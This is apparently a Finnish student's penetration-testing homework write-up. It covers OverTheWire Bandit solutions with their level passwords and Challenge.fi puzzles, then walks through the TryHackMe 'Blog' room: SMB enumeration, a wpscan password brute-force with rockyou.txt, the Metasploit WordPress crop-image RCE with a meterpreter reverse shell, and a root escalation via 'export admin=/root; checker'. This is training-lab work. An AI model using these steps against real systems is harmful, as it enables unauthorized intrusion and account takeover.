Penetration testing – Work 1

Tehtävä 1

a) Ratkaise Over The Wire: Bandit viisi ensimmäistä tasoa (0-4).

e) Vapaaehtoinen: Ratkaise OverTheWire: Bandit, tasot 5-10.

 

https://overthewire.org/wargames/bandit/

Bandit Level 0 → Level 1

Level Goal

The password for the next level is stored in a file called readme located in the home directory. Use this password to log into bandit1 using SSH. Whenever you find a password for a level, use SSH (on port 2220) to log into that level and continue the game.

Ratkaisu:

bandit0@bandit:~$ cat readme

boJ9jbbUNNfktd78OOpsqOltutMc3MY1

bandit0@bandit:~$

 

Bandit Level 1 → Level 2

Level Goal

The password for the next level is stored in a file called  located in the home directory

Ratkaisu:

find ~ -type f  -name “[[:print:]]*” -exec cat {} \;

tai

bandit1@bandit:~$ find . -type f  -name “[[:print:]]*” -not -path ‘*/.*’

./-

bandit1@bandit:~$ cat ./-

CV1DtqXWVFXTvM2F0k09SHz0YwRINYA9

bandit1@bandit:~$

 

Bandit Level 2 → Level 3

Level Goal

The password for the next level is stored in a file called spaces in this filename located in the home directory

Ratkaisu:

bandit2@bandit:~$ find . -maxdepth 1 -name “* *” -print  -exec cat {} \;

./spaces in this filename

UmHadQclWmgdLOKQ3YNgjWxGoRMb5luK

bandit2@bandit:~$

 

Bandit Level 3 → Level 4

Level Goal

The password for the next level is stored in a hidden file in the inhere directory.

Ratkaisu:

bandit3@bandit:~$ find ./inhere  -type f   -path ‘*/.*’  -exec cat {} \;

pIwrPrtPN36QITSp3EQaw936yaFoFgAB

bandit3@bandit:~$

 

Bandit Level 4 → Level 5

Level Goal

The password for the next level is stored in the only human-readable file in the inhere directory. Tip: if your terminal is messed up, try the “reset” command.

Ratkaisu:

bandit4@bandit:~$ find ./inhere -type f -exec file {} + |   awk -F: ‘/ASCII text/ {print $1}’

./inhere/-file07

bandit4@bandit:~$ cat ./inhere/-file07

koReBOKuIDDepwhWk7jZC0RTdopnAYKh

bandit4@bandit:~$

 

 

Bandit Level 5 → Level 6

Level Goal

The password for the next level is stored in a file somewhere under the inhere directory and has all of the following properties:

  • human-readable
  • 1033 bytes in size
  • not executable

Ratkaisu:

bandit5@bandit:~$ find . -type f -size 1033c -name “[[:print:]]*” ! -executable -exec cat {} \;

DXjZPULLxYr17uwoI01bNLQbtFemEgo7

 

Bandit Level 6 → Level 7

Level Goal

The password for the next level is stored somewhere on the server and has all of the following properties:

  • owned by user bandit7
  • owned by group bandit6
  • 33 bytes in size

Ratkaisu:

bandit6@bandit:~$ find / -type f -size 33c  -user bandit7 -group bandit6 2>/dev/null  -exec cat {} \;

HKBPTKQnIay4Fw76bEy8PVxKEDQRKTzs

bandit6@bandit:~$

 

Bandit Level 7 → Level 8

Level Goal

The password for the next level is stored in the file data.txt next to the word millionth

Ratkaisu:

bandit7@bandit:~$ cat data.txt  |  grep millionth

millionth       cvX2JJa4CFALtqS87jk27qwqGhBM9plV

bandit7@bandit:~$

 

Bandit Level 8 → Level 9

Level Goal

The password for the next level is stored in the file data.txt and is the only line of text that occurs only once

Ratkaisu:

bandit8@bandit:~$ cat data.txt | sort | uniq -u

UsvVyFSfZZWbi6wgC7dAFyFuR6jQQUhR

bandit8@bandit:~$

tai

bandit8@bandit:~$ sort data.txt| uniq -u

UsvVyFSfZZWbi6wgC7dAFyFuR6jQQUhR

bandit8@bandit:~$

 

Bandit Level 9 → Level 10

Level Goal

The password for the next level is stored in the file data.txt in one of the few human-readable strings, preceded by several ‘=’ characters.

Ratkaisu:

bandit9@bandit:~$ strings data.txt | grep -E “==”

========== the*2i”4

========== password

Z)========== is

&========== truKLdjsbJ5g7yyJ2X2R0o3a5HQJFuLk

bandit9@bandit:~$

 

Bandit Level 10 → Level 11

Level Goal

The password for the next level is stored in the file data.txt, which contains base64 encoded data

Ratkaisu:

bandit10@bandit:~$ cat data.txt  | base64 –decode

The password is IFukwKGsFW8MOq3IRFqrxE1hxTNEbUPR

bandit10@bandit:~$

 

b) Asenna Kali Linux.

Kali linux on asennettu Penetration testing kurssia varten luodulle virtuaalikoneelle. Virtuaalikone pyörii virtuaaliverkossa VMWare Workstation 15 pro virtuaalisointialustalla. Virtuaalikoneen verkkolaite NAT:lla yhdistetty ulkoverkkoon.

c) Asenna WebGoat, luo paikallinen WebGoat-käyttäjä ja kirjaudu sisään

Opettajan ohjeilla asensin ja käynnistin OWASP10 WebGoat v8.0.0.M26 applikaation.

Karvinen, Tero: Install Webgoat 8 – Learn Web Pentesting

https://terokarvinen.com/2020/install-webgoat-web-pentest-practice-target/

 

d) Ratkaise WebGoatista tehtävät

  • General
    • HTTP Basics

 

  • Developer tool

 

Asensin OWASP ZAP ja selvitin kuinka se toimii. Asensin Firefox laajennuksen FoxyProxy ja ohjasin liikennettä selaimen OWASP ZAP:in kautta niin, että HTTP pyynnöt ja vastaukset näkyisivät ZAP:ssa.

Lähde: Youtube: webpwnized “How to Intercept HTTP Requests with OWASP ZAP”

https://www.youtube.com/channel/UCPeJcqbi8v46Adk59plaaXg

e) Ratkaise 2021 Challenge.fi:stä yksi tehtävä, esim. 2021 Where was this picture taken, Encoding basics.

  • Where was this picture taken

    Maker:S,Date:2017-9-15,Ver:6,Lens:Kan03,Act:Lar02,E:Y

On ainakin kaksi helppoa tapaa ratkaistaa tehtävän.

Ensimmäinen on kokeilla käänteisen kuvahaun Googlessa: https://images.google.com/ Google löytää sitten verkkosivustoja, joissa on ladattu kuva sekä siihen liittyviä kuvia. Google Images havaitsee myös valokuvan aiheen ja tuo esiin muita kuva-aiheeseen liittyviä verkkosivustoja.

Toinen tapa on tarkistaa kuvan metatiedot. Useimmat nykyaikaiset älypuhelimet tallentavat exif-tiedot kuvatiedostosta. Nämä tiedot voivat kertoa laitteen, jolla kuva on otettu, kameran objektiivin tyypin, valokuvan ottopäivämäärän ja -ajan sekä joskus jopa sen sijainnin GPS-koordinaattien muodossa. Tämän kuvan metatiedoissa

Syöttämällä koordinatit Google maps palveluun tai GPS Coordinates palveluun https://www.gps-coordinates.net/ saadaan osoitteen.

 

Löysin on-line palvelun, joka näyttää kuvan exif tiedot. Palvelu tarjoaa myös exif tietojen poistoa kuvista.

VIEW AND REMOVE EXIF ONLINE: https://www.verexif.com/en/

Lähde:

https://africacheck.org/fact-checks/guides/guide-where-was-photo-taken-how-locate-almost-any-place-earth

Vastaus:

Location Address

The Blackpool Tower,

The Promenade,

Blackpool,

Lancashire,

FY1 4BJ,

England

 https://www.dayoutwiththekids.co.uk/attractions/the-blackpool-tower-eye-0172c72f

 

  • Encoding Basics

This is the flag, but its encrypted. Well, nothing can be done about it…

RkxBR3tMb29rc19yZWFsbHlfY3J5cHRpY19idXRfaXNfZWFzaWx5X3JldmVyc2VkfQ==

 

Ratkaisu:

Luodaan tiedosto nano editorilla ja tallennetaan salattu merkkijono sinne. Seuraavalla komennolla dekryptataan tiedoton sisältöä ja tulostetaan sen ruudulle.

┌──(kali㉿kali-vm)-[~/Documents]

└─$ base64 –decode encoding_basics.txt

FLAG{Looks_really_cryptic_but_is_easily_reversed} 

 

f) TryHackMe tai HackTheBox.

Rekisteröidy, lue ja tallenna säännöt, avaa OpenVPN-yhteys, ratkaise yksi tehtävä (tai tehtävän alakohta) jommasta kummasta palvelusta: TryHackMe tai HackTheBox

 

Päätin rekisteröityä TryHackMe palvelussa. Valitsin tehtäväksi “Billy Joel made a WordPress blog!”

Tehtävä: https://tryhackme.com/room/blog

“Billy Joel made a blog on his home computer and has started working on it. It’s going to be so awesome!

Enumerate this box and find the 2 flags that are hiding on it! Billy has some weird things going on his laptop. Can you maneuver around and get what you need? Or will you fall down the rabbit hole… ”

 

Loin VPN -yhteyden palvelun verkkoon Kali -virtuaalikoneelta openvpn käyttäen.

┌──(kali㉿kali-vm)-[~]
└─$ ifconfig -a
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.142.133 netmask 255.255.255.0 broadcast 192.168.142.255
inet6 fe80::20c:29ff:fe07:c6c0 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:07:c6:c0 txqueuelen 1000 (Ethernet)
RX packets 251645 bytes 307469156 (293.2 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 32588 bytes 5242053 (4.9 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 1012812 bytes 194145304 (185.1 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1012812 bytes 194145304 (185.1 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500
inet 10.8.67.23 netmask 255.255.0.0 destination 10.8.67.23
inet6 fe80::3c3d:fd69:5c5c:32c9 prefixlen 64 scopeid 0x20<link>
unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 500 (UNSPEC)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 2 bytes 96 (96.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

 

Lisätään kohdekoneen IP-osoiten /etc/hosts tiedostoon, jotta voittaisiin käyttää koneen koneen nimeä IP-osoitteen sijaan

$ sudo nano /etc/hosts

127.0.0.1       localhost

127.0.1.1       kali-vm

10.10.185.91    blog.thm

# The following lines are desirable for IPv6 capable hosts

::1     localhost ip6-localhost ip6-loopback

ff02::1 ip6-allnodes

ff02::2 ip6-allrouters

 

Skannataan kohdekoneen portit nmap ohjelmalla

$ nmap -sV blog.thm

Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-02 13:46 EEST

Nmap scan report for blog.thm (10.10.185.91)

Host is up (0.060s latency).

Not shown: 996 closed tcp ports (conn-refused)

PORT    STATE SERVICE     VERSION

22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))

139/tcp open  netbios-ssn Samba smbd 3.X – 4.X (workgroup: WORKGROUP)

445/tcp open  netbios-ssn Samba smbd 3.X – 4.X (workgroup: WORKGROUP)

Service Info: Host: BLOG; OS: Linux; CPE: cpe:/o:linux:linux_kernel

 

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 13.37 seconds

 

Tuloksesta näkee, että kohdekoneella on auki SMB-protokollan portit 139 ja 445. Listataan Samba jaetut resurssit enum4linux ohjelmalla

 

$ enum4linux -a blog.thm

===================================( Share Enumeration on blog.thm )===================================

Sharename       Type      Comment

———                 —-      ——-

print$                 Disk      Printer Drivers

BillySMB            Disk      Billy’s local SMB Share

IPC$                    IPC       IPC Service (blog server (Samba, Ubuntu))

Reconnecting with SMB1 for workgroup listing.

 

smbclient:

From this command line, you can use several FTP-like commands, as listed in Table D-1. Arguments in square brackets are optional.

From <https://www.oreilly.com/openbook/samba/book/appd_01.html>

 

 

Avataan yhteys jatettuun resurssiin smbclient ohjelma käyttäen

$ smbclient \\\\blog.thm\\BillySMB\\

Enter WORKGROUP\kali’s password:

Try “help” to get a list of possible commands.

smb: \>

smb: \> ls

.                                   D        0  Tue May 26 21:17:05 2020

..                                  D        0  Tue May 26 20:58:23 2020

Alice-White-Rabbit.jpg              N    33378  Tue May 26 21:17:01 2020

tswift.mp4                          N  1236733  Tue May 26 21:13:45 2020

check-this.png                      N     3082  Tue May 26 21:13:43 2020

15413192 blocks of size 1024. 9790064 blocks available

 

Haetaan tiedostot omalle koneelle

smb: \> get Alice-White-Rabbit.jpg /home/kali/TryHackMe/Alice-White-Rabbit.jpg
getting file \Alice-White-Rabbit.jpg of size 33378 as /home/kali/TryHackMe/Alice-White-Rabbit.jpg (75.1 KiloBytes/sec) (average 75.1 KiloBytes/sec)
smb: \> get tswift.mp4 /home/kali/TryHackMe/tswift.mp4
getting file \tswift.mp4 of size 1236733 as /home/kali/TryHackMe/tswift.mp4 (436.3 KiloBytes/sec) (average 387.4 KiloBytes/sec)
smb: \> get check-this.png /home/kali/TryHackMe/check-this.png
getting file \check-this.png of size 3082 as /home/kali/TryHackMe/check-this.png (12.9 KiloBytes/sec) (average 362.0 KiloBytes/sec)
smb: \>

 

Steghide is a steganography program that is able to hide data in various kinds of image- and audio-files. The color- respectivly sample-frequencies are not changed thus making the embedding resistant against first-order statistical tests. http://steghide.sourceforge.net/

 

Asennetaan steghide
$ sudo apt install -y steghide

$ steghide –info Alice-White-Rabbit.jpg
“Alice-White-Rabbit.jpg”:
format: jpeg
capacity: 1.8 KB
Try to get information about embedded data ? (y/n) y
Enter passphrase:
embedded file “rabbit_hole.txt”:
size: 48.0 Byte
encrypted: rijndael-128, cbc
compressed: yes

Puretaan piilotiedosto kuvasta steghide extract komennolla

$ steghide extract -sf Alice-White-Rabbit.jpg
Enter passphrase:
wrote extracted data to “rabbit_hole.txt”.

Katsotaan tiedoston sisältöä

$ cat rabbit_hole.txt
You’ve found yourself in a rabbit hole, friend.

Oops! Tultiin umpikujaan.

 

Seuraavaksi kokeillaan hyökätä WordPress sivustoon WordPress Security Scan käyttäen: https://github.com/wpscanteam/wpscan/
Valitettavasti se ei toiminut ja pitänyt selvittää missä on vika

$ wpscan
/usr/lib/ruby/vendor_ruby/rubygems/specification.rb:1401:in `rescue in block in activate_dependencies’: Could not find ‘webrick’ (>= 0) among 125 total gem(s) (Gem::MissingSpecError)
Lopulta tajusin, että ongelmana oli puuttunut riippuvuus ja asensin sen RubyGems repository:lta

$ sudo gem install webrick
Fetching webrick-1.7.0.gem
Successfully installed webrick-1.7.0
Parsing documentation for webrick-1.7.0
Installing ri documentation for webrick-1.7.0
Done installing documentation for webrick after 0 seconds
1 gem installed

 

Skannateean WordPress sivuston

$ wpscan –url 10.10.185.91  –enumerate u

Löytynyt kaksi käyttäjää: kwheel ja bjoel

 

Seuraavaksi yritän suorittaa brute force hyökkäystä käyttämällä samaa wpscan-työkalua. Tähän tarvitsen listan salasanoista mitä tullaan kokeilemaan hyökkäyksessä. Kali linuxissa on asennettuna Woldlist paketti: joka sisältää rockyou.txt.gz tiedoston. Ensin se pitää purkaa arkistosta. https://www.kali.org/tools/wordlists/

$ ls -lh /usr/share/wordlists/
total 51M
lrwxrwxrwx 1 root root 25 Mar 27 10:15 dirb -> /usr/share/dirb/wordlists
lrwxrwxrwx 1 root root 30 Mar 27 10:15 dirbuster -> /usr/share/dirbuster/wordlists
lrwxrwxrwx 1 root root 41 Mar 27 10:15 fasttrack.txt -> /usr/share/set/src/fasttrack/wordlist.txt
lrwxrwxrwx 1 root root 45 Mar 27 10:15 fern-wifi -> /usr/share/fern-wifi-cracker/extras/wordlists
lrwxrwxrwx 1 root root 46 Mar 27 10:15 metasploit -> /usr/share/metasploit-framework/data/wordlists
lrwxrwxrwx 1 root root 41 Mar 27 10:15 nmap.lst -> /usr/share/nmap/nselib/data/passwords.lst
-rw-r–r– 1 root root 51M Jul 17 2019 rockyou.txt.gz
lrwxrwxrwx 1 root root 25 Mar 27 10:15 wfuzz -> /usr/share/wfuzz/wordlist

$ sudo gunzip /usr/share/wordlists/rockyou.txt.gz

Seuraavalla komennolla aloitetaan brute force hyökkäystä

$ wpscan –url 10.10.185.91 -P /usr/share/wordlists/rockyou.txt -U “kwheel”

Sopiva salasana on löydetty, kirjaudutaan WP Admin paneelille. http://10.10.185.91/wp-admin

Onnistuin kirjautumaan WP-admin paneelille

Media välilehdellä on rikkinäisiä kuvia. Ehkä se on vihje. Kokeilin käyttää hyväkseen seuraavan WP:n havoittuvuuden

https://www.cvedetails.com/cve/CVE-2019-8942/

 

Avataan Metasploit https://www.metasploit.com/

$ msfconsole

 

Seuraavalla komennolla asennetaan exploit, joka käyttää kyseistä havoituvuutta.

msf6 > use exploit/multi/http/wp_crop_rce
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp

 

Katsotaan sen parametrit:

msf6 exploit(multi/http/wp_crop_rce) > show options

Pitänyt selvittää metasploitin komentoja https://www.hackingtutorials.org/metasploit-tutorials/metasploit-commands/

Kyseinen exploit tarvitsee parametreina käyttäjänimeä, salasanaa ja kohdekoneen IP-osoitetta. Syötetään parametrit set -komennolla.

set RHOSTS 10.10.185.91
set USERNAME kwheel
set PASSWORD put_password_here

 

Käynnitetään run komennolla

msf6 exploit(multi/http/wp_crop_rce) > run

Exploit on asennettu kohdekoneelle, mutta sessiota ei saatu auki.

Tähän ongelman selvittelyyn meni paljon aikaa. Löysin, että ongelma mahdollisesti johtunut NAT:in takana toimivasta virtuaalikoneesta, jota käytän tässä tehtävässä. https://www.infosecmatter.com/why-your-exploit-completed-but-no-session-was-created-try-these-fixes/  Yritin vaihtaa virtuaalikoneen verkkoasetuksia Bridge:ksi, mutta silloin ei toiminut VPN-yhteys. Asensin jopa uuden virtuaalikoneen Azure-pilveen. Koska Azuressa ei ollut Kali Linux -pakettia, minun piti asentaa Ubuntu ja kaikki tarvittavat työkalut itse. Tämäkään ei auttanut.

Päätin hankkia TryHackMe maksullista palvelua, joka tarjoaa pääsyä kaikkeen premium oppimissisältöön ja selainpohjaiseen Kali virtuaalikoneelle.

 

TryHackMe tehtävän istunto on vanhentunut, joten käynnistän sen uudelleen ja ryhdyn tarvittaviin toimiin jatkaakseni ongelman ratkaisemista TryHackMe virtuaalokoneelta.

Uusi kohdekoneen IP-osoite on: 10.10.215.42

 

Lopulta sain sen toimimaan

Pääsin shell komennolla kohdekoneelle

Sitten olin joo loppusuoralla:

$ export admin=/root

$ checker

$ cd ~

$ whoami

root

$ ls

root.txt

$ cat root.txt

Tiedostossa oli vastaus ensimmäiseen kysymykseen. Toisen tiedoston pitänyt etsiä find komennolla. Root käyttäjänä se ei olut vaikea. Tiedosto löytynyt kansiosta /home/bjoel/uset.txt  Siinä oli vastaus toiseen kysymykseen.

Yhtenä kysymykenä oli löytää CMS version. Tästä saa vikkejä: https://kinsta.com/knowledgebase/check-wordpress-version/

 

Lähde: Debjeet Banerjee 2020 https://whokilleddb.medium.com/tryhackme-blog-9fe23ef0494b